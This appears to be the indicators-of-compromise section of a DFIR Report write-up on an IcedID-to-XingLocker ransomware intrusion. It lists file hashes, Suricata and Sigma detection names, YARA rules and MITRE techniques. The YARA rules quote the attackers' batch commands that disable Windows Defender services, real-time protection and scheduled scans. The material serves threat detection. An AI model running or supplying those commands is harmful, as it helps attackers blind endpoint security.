348cae913e496198548854f5ff2f6d1e
a07655b9020205bd47084afd62a8bb22b48c0cdc
c80128f51871eec3ae2057989a025ce244277c1c180498a5aaef45d5214b8506
adf.bat
c0fba1bdf26fdea254f29d035cfcb240
76e49a572c2b468ff75387d340b871799fb514c0
9a07559dd43d8defa9addf1d61d401cdecc121c3fd03789905c086875cbb918c
croperdate64.dll
67c916ed405a3163d19f7642734d94be
6f0edb57f316fd75a96c1365e7408cc51b165c1a
1b981b4f1801c31551d20a0a5aee7548ec169d7af5dbcee549aa803aeea461a0
fed1.bat
b849c3fde795b901244033039b8ac7fc
82226be6991b327a88f2e34d306e85fef3dc1a7c
81a1247465ed4b6a44bd5b81437024469147b75fe4cb16dc4d2f7b912463bf12
fed2.bat
450319cd558fb091de5c1eb477279491
b9be7387ad2363f240d6f9758565310bc070c5d8
bf908d50760e3724ed5faa29b2a96cb1c8fc7a39b58c3853598d8b1ccfd424ac
fed3.bat
d66e39105b8c13e530e3965f058d74e1
c94d92056db72aeac6d5c37e8f87b7be63065b25
8dced0ed6cba8f97c0b01f59e063df6be8214a1bd510e4774ef7f30c78875f4e
kaslose.dll
922451995226138f5924a830e58dcf84
05036842cc0faf1fe3c539e984af4ca96fb4478b
320296ea54f7e957f4fc8d78ec0c1658d1c04a22110f9ddffa6e5cb633a1679c
kaslose64.dll
71d852063d97be95b841244ba2baa3b3
1640828e4158ca867e35c4c2bd75fc7d2c32e82b
a4d92718e0a2e145d014737248044a7e11fb4fd45b683fcf7aabffeefa280413
kasper.bat
f72cab42a2ecb753e9cf1eca0fda9b75
b0a303a9c5844aad78deafaa469f091d0fe78884
fc2ab02ff0774921f49a1f78782a9c2634bacc76c149d5d16ab861ca9ce5d760
spoolsv.exe
bac8f1ac15380266049c693093350710
ef7ec279ef8bdca900f1190db945ad3f15d4f983
0d575c22dfd30ca58f86e4cf3346180f2a841d2105a3dacfe298f9c7a22049a0
star.bat
edc09807da2d733262c29f0fb184c6c2
70dd6c21d031db5051a3635b8860c3a494c866ff
6679848b93987eb8ca02f881e3542b9f54163264b18a13175b65e18ba711c905
update64.dll
ffd1027dad6ba3eec0a8de67f9236d05
61707322b2f5bb49dff51520fb0f9da866987153
47ff886d229a013d6e73d660a395f7b8e285342195680083eb96d64c052dd5f0

Detections

Network

Suricata

ET MALWARE Win32/IcedID Request Cookie
ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)
ET DNS Query to a *.top domain - Likely Hostile
ThreatFox TrickBot botnet C2 traffic (ip:port - confidence level: 75%)
ETPRO POLICY Observed Atera Remote Access Application Activity Domain in TLS SNI
ET INFO Observed Let's Encrypt Certificate for Suspicious TLD (.xyz)
ThreatFox IcedID botnet C2 traffic (ip:port - confidence level: 75%)
Feodo Tracker: potential TrickBot CnC Traffic detected
ET TROJAN Trickbot Checkin Response
ET INFO Dotted Quad Host DLL Request
ET INFO Suspicious Windows Commands in POST Body (ipconfig)
ET INFO Suspicious Windows Commands in POST Body (net config)
ET INFO Suspicious Windows Commands in POST Body (net view)
ET INFO Suspicious Windows Commands in POST Body (nltest)
ET POLICY IP Check Domain (icanhazip. com in HTTP Host)
ET POLICY PE EXE or DLL Windows file download HTTP
ET TROJAN Win32/IcedID Request Cookie
ET TROJAN Win32/Trickbot Data Exfiltration

Sigma

Abused Debug Privilege by Arbitrary Parent Processes – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/sysmon_abusing_debug_privilege.yml

Automated Collection Command Prompt – https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/process_creation_automated_collection.yml

Bad Opsec Powershell Code Artifacts – https://github.com/SigmaHQ/sigma/blob/5e35e387dd0dcdd564db7077da3470fbc070b975/rules/windows/powershell/powershell_bad_opsec_artifacts.yml

Bloodhound and Sharphound Hack Tool – https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_hack_bloodhound.yml

CobaltStrike Process Patterns – https://github.com/SigmaHQ/sigma/blob/ee85fdfa3fda3d2861065f0e2f6a9d599b03e47e/rules/windows/process_creation/win_cobaltstrike_process_patterns.yml

CobaltStrike Service Installations – https://github.com/SigmaHQ/sigma/blob/1b480f2ee609e196fcaf6bfee11cf26133f64435/rules/windows/builtin/win_cobaltstrike_service_installs.yml

CobaltStrike Service Installations in Registry – https://github.com/SigmaHQ/sigma/blob/bbe67ddc73adaa245941fe240db4eff3279078a8/rules/windows/registry_event/sysmon_cobaltstrike_service_installs.yml

Empire PowerShell Launch Parameters – https://github.com/SigmaHQ/sigma/blob/7c42a9d6cbe8af82b1df3cdde67b9adf9f86ffa1/rules/windows/process_creation/win_susp_powershell_empire_launch.yml

Execution from Suspicious Folder – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_execution_path.yml

File Created with System Process Name – https://github.com/SigmaHQ/sigma/blob/ea430c8823803b9026a4e6e2ea7365dc5d96f385/rules/windows/file_event/sysmon_creation_system_file.yml

File or Folder Permissions Modifications – https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_file_permission_modifications.yml

First Time Seen Remote Named Pipe – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/builtin/win_lm_namedpipe.yml

Local Accounts Discovery – https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_local_system_owner_account_discovery.yml

Malicious Base64 Encoded PowerShell Keywords in Command Lines – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_hidden_b64_cmd.yml

Malicious PowerShell Commandlets – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/powershell/powershell_malicious_commandlets.yml

Mimikatz Detection LSASS Access – https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/deprecated/sysmon_mimikatz_detection_lsass.yml

Net.exe Execution – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_net_execution.yml

Non Interactive PowerShell – https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/rules/windows/process_creation/win_non_interactive_powershell.yml

PowerShell as a Service in Registry – https://github.com/SigmaHQ/sigma/blob/a80c29a7c2e2e500a1a532db2a2a8bd69bd4a63d/rules/windows/registry_event/sysmon_powershell_as_service.yml

PowerShell Execution – https://github.com/SigmaHQ/sigma/blob/8aabb58eca06cc44ae21ae4d091793d8c5ca6a23/rules/windows/image_load/sysmon_powershell_execution_moduleload.yml

PowerShell Network Connections – https://github.com/SigmaHQ/sigma/blob/7f071d785157dfe185d845fad994aa6ec05ac678/rules/windows/network_connection/sysmon_powershell_network_connection.yml

PowerShell Scripts Installed as Services – https://github.com/SigmaHQ/sigma/blob/a80c29a7c2e2e500a1a532db2a2a8bd69bd4a63d/rules/windows/builtin/win_powershell_script_installed_as_service.yml

Rare Scheduled Task Creations – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/other/win_rare_schtask_creation.yml

Rare Service Installs – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/builtin/win_rare_service_installs.yml

Regsvr32 Anomaly – https://github.com/SigmaHQ/sigma/blob/6fbce11094285e5ba13fe101b9cb70f5b1ece198/rules/windows/process_creation/win_susp_regsvr32_anomalies.yml

Regsvr32 Command Line Without DLL – https://github.com/SigmaHQ/sigma/blob/7c42a9d6cbe8af82b1df3cdde67b9adf9f86ffa1/rules/windows/process_creation/win_susp_regsvr32_no_dll.yml

Regsvr32 Network Activity – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/network_connection/sysmon_regsvr32_network_activity.yml

Rundll32 Internet Connection – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/network_connection/sysmon_rundll32_net_connections.yml

Ryuk Ransomware – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_malware_ryuk.yml

SMB Create Remote File Admin Share – https://github.com/SigmaHQ/sigma/blob/8beb70e970b814d0ab60625206ea0d8a21a9bff8/rules/windows/builtin/win_smb_file_creation_admin_shares.yml

Stop Windows Service – https://github.com/SigmaHQ/sigma/blob/eb406ba36fc607986970c09e53058af412093647/rules/windows/process_creation/win_service_stop.yml

Successful Overpass the Hash Attempt – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/builtin/win_overpass_the_hash.yml

Suspicious AdFind Execution – https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_adfind.yml

Suspicious Encoded PowerShell Command Line – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_enc_cmd.yml

Suspicious In-Memory Module Execution – https://github.com/SigmaHQ/sigma/blob/5cf7078fb3d61f2c15b01d9426f07f9197dd3db1/rules/windows/process_access/sysmon_in_memory_assembly_execution.yml

Suspicious PowerShell Cmdline – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/powershell/powershell_cmdline_reversed_strings.yml

Suspicious PowerShell Parent Process – https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_parent_process.yml

Suspicious Spool Service Child Process – https://github.com/SigmaHQ/sigma/blob/0b83c12dd1fcc906ce705c413d5ed5db90ce5e82/rules/windows/process_creation/win_susp_spoolsv_child_processes.yml

Suspicious WMI Execution – https://github.com/SigmaHQ/sigma/blob/5e701a2bcb353338854c8ab47de616fe7e0e56ff/rules/windows/process_creation/win_susp_wmi_execution.yml

Windows Defender Threat Detection Disabled – https://github.com/SigmaHQ/sigma/blob/f69868b5aa25f33c629208d8868994ed24b20b46/rules/windows/other/win_defender_disabled.yml

Windows PowerShell Web Request – https://github.com/SigmaHQ/sigma/blob/9b7be5985ea6079e97a2a769404880fc9dd63994/rules/windows/powershell/win_powershell_web_request.yml

Yara

/*                                                                                                                                                                                                                                                                                                                         
   YARA Rule Set                                                                                                                                                                                                                                                                                                           
   Author: The DFIR Report                                                                                                                                                                                                                                                                                                 
   Date: 2021-10-10                                                                                                                                                                                                                                                                                                        
   Identifier: 5582 Xinglocker                                                                                                                                                                                                                                                                                             
   Reference: https://thedfirreport.com                                                                                                                                                                                                                                                                                    
*/                                                                                                                                                                                                                                                                                                                         

/* Rule Set ----------------------------------------------------------------- */                                                                                                                                                                                                                                           


import "pe"                                                                                                                                                                                                                                                                                                                

rule DLLBeacons {                                                                                                                                                                                                                                                                                                          
   meta:                                                                                                                                                                                                                                                                                                                   
      description = "for files:  kaslose64.dll, spoolsv.exe, kaslose.dll, croperdate64.dll"                                                                                                                                                                                                                                
      author = "TheDFIRReport"                                                                                                                                                                                                                                                                                             
      date = "2021-09-14"                                                                                                                                                                                                                                                                                                  
      hash1 = "a4d92718e0a2e145d014737248044a7e11fb4fd45b683fcf7aabffeefa280413"                                                                                                                                                                                                                                           
      hash2 = "0d575c22dfd30ca58f86e4cf3346180f2a841d2105a3dacfe298f9c7a22049a0"                                                                                                                                                                                                                                           
      hash3 = "320296ea54f7e957f4fc8d78ec0c1658d1c04a22110f9ddffa6e5cb633a1679c"                                                                                                                                                                                                                                           
      hash4 = "1b981b4f1801c31551d20a0a5aee7548ec169d7af5dbcee549aa803aeea461a0"                                                                                                                                                                                                                                           
   strings:                                                                                                                                                                                                                                                                                                                
      $s1 = "f14m80.dll" fullword ascii                                                                                                                                                                                                                                                                                    
      $s2 = "\\dxdiag.exe" fullword ascii                                                                                                                                                                                                                                                                                  
      $s3 = "\\regedit.exe" fullword ascii                                                                                                                                                                                                                                                                                 
      $s4 = "\\notepad.exe" fullword ascii                                                                                                                                                                                                                                                                                 
      $s5 = "\\mmc.exe" fullword ascii                                                                                                                                                                                                                                                                                     
      $s6 = "spawn::resuming thread %02d" fullword ascii                                                                                                                                                                                                                                                                   
      $s7 = "xYYyQDllwAZFpV51" fullword ascii
      $s8 = "thread [%d]: finished" fullword ascii
      $s9 = "wmi: error initialize COM security" fullword ascii
      $s10 = "error initializing COM" fullword ascii
      $s11 = "spawn::first wait failed: 0x%04x" fullword ascii
      $s12 = "wmi: connect to root\\cimv2 failed: 0x%08x" fullword ascii
      $s13 = "jmPekFtanAOGET_5" fullword ascii
      $s14 = "spawn::decrypted" fullword ascii
      $s15 = "eQ_Jt_fIrCE85LW3" fullword ascii
      $s16 = "dBfdWB3uu8sReye1" fullword ascii
      $s17 = "qpp0WQSPyuCnCEm3" fullword ascii
      $s18 = "zn9gkPgoo_dOORd3" fullword ascii
      $s19 = "wmi: probaly running on sandbox" fullword ascii
      $s20 = "spawn::finished" fullword ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 2000KB and ( 8 of them )
      ) or ( all of them )
}



rule fed3_fed2_4 {
   meta:
      description = "for files:  fed3.bat, fed2.bat"
      author = "TheDFIRReport"
      date = "2021-09-14"
      hash1 = "8dced0ed6cba8f97c0b01f59e063df6be8214a1bd510e4774ef7f30c78875f4e"
      hash2 = "bf908d50760e3724ed5faa29b2a96cb1c8fc7a39b58c3853598d8b1ccfd424ac"
   strings:
      $s1 = "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\DefenderAuditLogger\" /v \"Start\" /t REG_DWORD /d \"0\" /f" ascii
      $s2 = "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\DefenderApiLogger\" /v \"Start\" /t REG_DWORD /d \"0\" /f" fullword ascii
      $s3 = "reg delete \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"Windows Defender\" /f" fullword ascii
      $s4 = "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WinDefend\" /v \"Start\" /t REG_DWORD /d \"4\" /f" fullword ascii
      $s5 = "reg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"WindowsDefender\" /f" fullword ascii
      $s6 = "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdFilter\" /v \"Start\" /t REG_DWORD /d \"4\" /f" fullword ascii
      $s7 = "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc\" /v \"Start\" /t REG_DWORD /d \"4\" /f" fullword ascii
      $s8 = "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdBoot\" /v \"Start\" /t REG_DWORD /d \"4\" /f" fullword ascii
      $s9 = "reg add \"HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService\" /v \"Start\" /t REG_DWORD /d \"4\" /f" fullword ascii
      $s10 = "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv\" /v \"Start\" /t REG_DWORD /d \"4\" /f" fullword ascii
      $s11 = "reg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run\" /v \"Windows Defender\" /f" fullword ascii
      $s12 = "rem 0 - Disable Logging" fullword ascii
      $s13 = "rem Run \"Disable WD.bat\" again to disable WD services" fullword ascii
      $s14 = "schtasks /Change /TN \"Microsoft\\Windows\\ExploitGuard\\ExploitGuard MDM policy Refresh\" /Disable" fullword ascii
      $s15 = "reg delete \"HKCR\\Directory\\shellex\\ContextMenuHandlers\\EPP\" /f" fullword ascii
      $s16 = "reg delete \"HKCR\\*\\shellex\\ContextMenuHandlers\\EPP\" /f" fullword ascii
      $s17 = "reg delete \"HKCR\\Drive\\shellex\\ContextMenuHandlers\\EPP\" /f" fullword ascii
      $s18 = "schtasks /Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /Disable" fullword ascii
      $s19 = "schtasks /Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" /Disable" fullword ascii
      $s20 = "schtasks /Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /Disable" fullword ascii
   condition:
      ( uint16(0) == 0x6540 and filesize < 10KB and ( 8 of them )
      ) or ( all of them )
}

rule fed3_fed1_5 {
   meta:
      description = "for files:  fed3.bat, fed1.bat"
      author = "TheDFIRReport"
      date = "2021-09-14"
      hash1 = "8dced0ed6cba8f97c0b01f59e063df6be8214a1bd510e4774ef7f30c78875f4e"
      hash2 = "81a1247465ed4b6a44bd5b81437024469147b75fe4cb16dc4d2f7b912463bf12"
   strings:
      $s1 = "rem https://technet.microsoft.com/en-us/itpro/powershell/windows/defender/set-mppreference" fullword ascii
      $s2 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f" fullword ascii
      $s3 = "rem reg add \"HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService\" /v \"Start\" /t REG_DWORD /d \"4\" /f" fullword ascii
      $s4 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f" fullword ascii
      $s5 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"0\" /f" fullword ascii
      $s6 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /" ascii
      $s7 = "rem USE AT OWN RISK AS IS WITHOUT WARRANTY OF ANY KIND !!!!!" fullword ascii
      $s8 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t RE" ascii
      $s9 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t RE" ascii
      $s10 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_" ascii
      $s11 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_" ascii
      $s12 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_" ascii
      $s13 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_" ascii
      $s14 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWOR" ascii
      $s15 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_" ascii
      $s16 = "rem 1 - Disable Real-time protection" fullword ascii
      $s17 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f" fullword ascii
      $s18 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_" ascii
      $s19 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"0\" /f" fullword ascii
      $s20 = "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWOR" ascii
   condition:
      ( uint16(0) == 0x6540 and filesize < 10KB and ( 8 of them )
      ) or ( all of them )
}


rule spoolsv_kaslose_7 {
   meta:
      description = "for files:  spoolsv.exe, kaslose.dll"
      author = "TheDFIRReport"
      date = "2021-09-14"
      hash1 = "0d575c22dfd30ca58f86e4cf3346180f2a841d2105a3dacfe298f9c7a22049a0"
      hash2 = "320296ea54f7e957f4fc8d78ec0c1658d1c04a22110f9ddffa6e5cb633a1679c"
   strings:
      $s1 = "Protect End" fullword ascii
      $s2 = "ctsTpiHgtme0JSV3" fullword ascii
      $s3 = "Protect Begin" fullword ascii
      $s4 = "pZs67CJpQCgMm8L4" fullword ascii
      $s5 = "6V7e7z7" fullword ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 2000KB and ( all of them )
      ) or ( all of them )
}


rule xinglocker_update64 {
   meta:
      description = "xinglocker - file update64.dll"
      author = "The DFIR Report"
      reference = "https://thedfirreport.com"
      date = "2021-10-07"
      hash1 = "47ff886d229a013d6e73d660a395f7b8e285342195680083eb96d64c052dd5f0"
   strings:
      $s1 = ">j=nAy;j;l;l;m;n;k;p;q;rFpFo;u;vBo;x;y<j<k<l<m<[email protected]<p<q<r<s<t<u<v<w<x<y=j=k=l=m=n=o=p=q=r=s=t=u=v=w=x=y>j>k>l>m>n>o>p>q>rCk>t>u>v" ascii
      $s2 = "?lAu>wGmCkCl;p?nFkCyGy;mCl>oDx9sGxCxCyHr<t?oHu<[email protected]=sClCkHvDtDuHn<[email protected][email protected]>s>lBtFmEnFoBl>tFnBvElFuFv" ascii
      $s3 = "HnGtDyEpExFjAmEoAoFkEyEkEoEyAqAvErFpExFwFrFvFpFjBoEyFrEwEuBtFyFwEsFyBmGjCoCwDnCtCsCsCpCvCvCxGuDyCrCjDvDsCoDuCoDkHoDyDsDxDpCrDpDw" ascii
      $s4 = "[email protected];vDqBoEpCoCp>qGvCrBq?s>oCwCxGm<[email protected]<[email protected]>[email protected]>oFtDyDyEj=l?qEyEpEoEpEq<y=yElEuExEwExEuFjFkCqEnBr>x:kBy>oEv:oDsFv" ascii
      $s5 = "BwBx;pCmCkClCm=vAkCnCqCr;l?vGm;[email protected]@[email protected]<y>kGxHq=u:rAt=xFk<[email protected];p<oFkFkFlGj9pBs>uFlHo;n;o;nBj" ascii
      $s6 = "Bo>wGl9j9qGlGmGnBkEmFn<tCk?k;[email protected];s:[email protected]<n=rAt:qDwGl9o9pGy<kFlHoHn=nApFs=qBuFtHt9oHsGtGs>uBmFt>lBp9s" ascii
      $s7 = ":oFoFlFj?k?l?m;[email protected]<[email protected]?k;[email protected]@[email protected]<[email protected]<nHnGp>[email protected]@[email protected]?sEtFmEvFjExEvExEy>j>rFw:w>mFj:jElBmFn" ascii
      $s8 = "FpDxFq?k=kCnGy;sCj:w>t>q>pGpCr?nGk;qFuBnBsAk?kHj<[email protected]=nCsAkHkDyEjAs=uAn<nAw=m9qDvCk<o9wAn=x9sAy>m;yFjCk>oBw>uCtErBk>k9rBn" ascii
      $s9 = "FwFxBqEu;p>u:v:u:t:sCyFm;rBw<r?yBpExGyAo;[email protected]@x<tFy>yElExEyEr=wAy>u;v9k>w=mAyGk;x=pBuGs>tBrEw>wBmFx?v;sGtGn>w" ascii
      $s10 = ":w:x>qCoFx;wCqGr;o;p;[email protected][email protected]=n<[email protected]=x?x=u;[email protected]<j9n<k;l;[email protected]<[email protected]<r:j9tEq;[email protected];l:uFs:[email protected];q:v>pGw:j?n" ascii
      $s11 = "HoHuHkAjFkFjEpFqFpApAoGvEpFwEoEjElEyEuBjGoFwEkBnHqEnFrEyEtFyEsBvHyEuFkCnCwCqGkGrGoCyCsDuDwCuCqCjGwCyCkDnHkCjCpDtHoDyCmHpFnFjHuHv" ascii
      $s12 = "EsHv:y;j;k;l;m;nEyEn;q;r;s;t;u;vFmEv;y<j<k<l<m<n?qFn<q<r<s<t<u<v=yFy<y=j=k=l=m=nEwCq=q=r=s=t=u=vFqCy=y>j>k>l>m>n>o>p>q>r>s>t>u>v" ascii
      $s13 = "ByBwByCkCqCoCqCkCyCwCyCkCqCoCqCkCxCxCxDlDpDpDpDlDxDxDxDlDpDpDpDlDyDxDyEjEkElEmEnEoEpEqErEsEtEuEvEyExEyFjFkFlFmFnFoFpFqFrFsFtFuFv" ascii
      $s14 = "GoHuByCjCkClCmCnErFyFnFsEoExApElFsAjEtErFnDlDmDnFrEyEnEsFoFxBpFmEwEtBkCoDsCqEmEnCkCnClCpCxHyHuGlCrDpCtFjFkFlFmFnCpCqDoDuDpCrDxCy" ascii
      $s15 = "CqBxBpCjAnClFjCnCrCpCwCrCsCtCuCvGxCxGlDjHoDlHyDnHvDpHsDrHvDtAkDvDnDxBtEjDlElExEnEyEpEqErEsEtEuEvBkExApFjAkFlBjFnHkFpFqFrFsFtFuFv" ascii
      $s16 = ">p:yGp?l?k?l?m;k>pCp>[email protected];u?w?xGtDj9o=r<[email protected]<tHtHn>[email protected]@[email protected]<pHvGnCoClAmEv9rFlCmDrEr<[email protected]:j>pGmAv:r;pDy:v" ascii
      $s17 = ";oGs;k<[email protected]>j=uCpHk>[email protected]?k>[email protected]>vDk<v?kEyDq<[email protected]=vArExGr9m<qEtBr<[email protected]>o:kCpEuFuAl;j;nBjFpHj;u;y" ascii
      $s18 = ";k<t>y?j;wGy;j?oFy?x?q?r?s;[email protected]:w:[email protected]@l<uHyCw<[email protected]@[email protected]@x<q9uEwCpDuEr9rEtCmDvEo9k=uEn9jFtCuCj?xAq:oHjBoBp:v?r:v>tGyAk" ascii
      $s19 = "HwByAjCkDyCmDyDuDr;o;u;[email protected]>[email protected]:lHy9o9k9l=uAs>jGpDx9v9r9t9uHm:rDo;k:j:kBsEuGu9j;w<r:r:s>lBp>k" ascii
      $s20 = "AwBp>v;nCkDw;j;[email protected]@s:[email protected]<r<[email protected]=lAp9k;k<t9y:jGx9q;o>l:o:p>yBo>o<x;uGm" ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 500KB and
      ( pe.imphash() == "309f189ae3d618bfd1e08a8538aea73a" and ( pe.exports("MkozycymwrxdxsUdddknsoskqjj") and pe.exports("NnzvpyfnjzgjflhXgbihjsjauma") and pe.exports("StartW") and pe.exports("WldxpodTdikvburej") and pe.exports("WqtzhacNqtdeAkecz") and pe.exports("startW") ) or 8 of them )
}

MITRE

OS Credential Dumping – T1003
SMB/Windows Admin Shares – T1021.002
System Owner/User Discovery – T1033
Network Service Scanning – T1046
Windows Management Instrumentation – T1047
Scheduled Task/Job – T1053
Process Injection – T1055
PowerShell – T1059.001
Domain Groups – T1069.002
File and Directory Discovery – T1083
Access Token Manipulation – T1134
Network Share Discovery – T1135
Domain Trust Discovery – T1482
Data Encrypted for Impact – T1486
Security Software Discovery – T1518.001
Disable or Modify Tools – T1562.001

文章来源: https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
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